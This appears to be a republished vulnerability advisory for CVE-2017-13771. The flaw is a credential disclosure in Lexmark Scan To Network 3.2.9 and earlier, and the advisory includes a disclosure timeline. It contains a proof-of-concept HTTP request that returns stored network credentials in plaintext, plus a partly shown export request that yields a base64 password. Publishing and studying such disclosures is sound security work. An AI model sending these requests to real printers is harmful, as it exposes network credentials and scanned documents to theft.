Lexmark Scan To Network (SNF) 3.2.9 Information Disclosure

Lexmark Scan to Network (SNF) printer application versions 3.2.9 and below suffer from a credential disclosure vulnerability.

MD5 | a2f8f1bd1016da9a8c59d02c7ed56417

1. Information exposure of network credentials in embedded printer
application (CVE-2017-13771)

"Lexmark creates innovative imaging solutions and technologies that help
customers worldwide print, secure and manage information with ease,
efficiency and unmatched value. Combining innovative technologies with deep
industry expertise, Lexmark simplifies the complex intersection of digital
and printed information in retail, financial services, healthcare,
manufacturing, education, government and more." [1].

Tested version
Lexmark Scan To Network (SNF) application <= 3.2.9

Vulnerabilitiy and PoC
"The Embedded Scan to Network solution is an embedded Java application that
is installed as a flash file on multifunction printers (MFPs) which support
the Lexmark Embedded Solutions Framework (LeSF). It allows users at the
printer to scan their documents to network destinations specified by the
network administrator" [2].

Scan To Network application supports the configuration of network
credentials and if used they will be stored in plaintext and transmited in
every request to the configuration tab. The next request should be made to
get plaintext credentials that could be used later to escalate privileges
in the network or get access to scanned documents:

POST https://host/cgi-bin/direct/printer/prtappauth/apps/snfDestServlet
Host: host
Content-Type: multipart/form-data; boundary=----boundary
Content-Length: 181

Content-Disposition: form-data; name="dests"

Content-Disposition: form-data; name="editButton"


HTTP/1.1 200 OK
<span id="cifs.uName">
<span class="header">Username:</span>
<input type="text" name="cifs.uName" value="TEST" class="control"
<span id="cifs.pwd">
<span class="header">Password:</span>
<input type="password" name="cifs.pwd" value="TEST123"

It is possible to have too a base64-encoded password from application
configuration export functionality:

Host: host

HTTP/1.1 200 OK
esf.cifs.inst.1.cifs.uName "TEST"
esf.cifs.inst.1.cifs.pwd "VEVTVDEyMw=="

19/05/2017: Vendor is notified through security email
30/08/2017: No response from vendor, CVE assigned, full disclosure

[1] https://www.lexmark.com/en_us/about/company.html

Related Posts